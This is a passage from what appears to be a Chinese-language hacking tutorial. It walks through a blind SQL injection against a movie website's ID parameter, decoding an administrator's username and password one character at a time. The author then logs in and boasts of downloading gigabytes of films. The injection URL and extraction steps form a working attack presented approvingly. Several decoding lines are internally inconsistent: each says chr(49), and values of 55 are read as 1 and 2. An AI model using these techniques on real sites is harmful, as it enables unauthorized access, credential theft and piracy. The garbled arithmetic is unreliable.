http://www.movie.com/movie.ASP?ID=(select asc(mid(UserID,1,1)) %2B 1000 from user where money>25500)
呵呵，又返回一部影片，搜索一下，影片ID为1104，即asc(mid(UserID,1,1))=104
同样方法，得出：
asc(mid(UserID,2,1))=117
asc(mid(UserID,3,1))=97
asc(mid(UserID,4,1))=106
asc(mid(UserID,5,1))=105
asc(mid(UserID,6,1))=101
因为len(UserID)=6，所以算到第6位就行了，查asc对应表（会编程的可以写几句话算出来），chr(104)=h，chr(117)=u，chr(97)=a，chr(106)=j，chr(105)=i，chr(101)=e
连起来，用户名就是huajie
8.同样的方法破解密码
asc(mid(Password,1,1))=49 => chr(49)=1
asc(mid(Password,2,1))=57 => chr(49)=9
asc(mid(Password,3,1))=55 => chr(49)=7
asc(mid(Password,4,1))=56 => chr(49)=8
asc(mid(Password,5,1))=48 => chr(49)=0
asc(mid(Password,6,1))=55 => chr(49)=7
asc(mid(Password,7,1))=55 => chr(49)=1
asc(mid(Password,8,1))=55 => chr(49)=2
拼起来：19780712，哈哈，又是用生日做密码的！
接下来，输入用户名和密码，登录系统，成功！猜表名列表之前用了30分钟，破解用了15分钟，45分钟搞掂了一个站。接下来做什么？当然是先Down几G的电影下来再说了。
上述的相关内容就是对SQL注入网站入侵实例的描述，希望会给你带来一些帮助在此方面。
相关阅读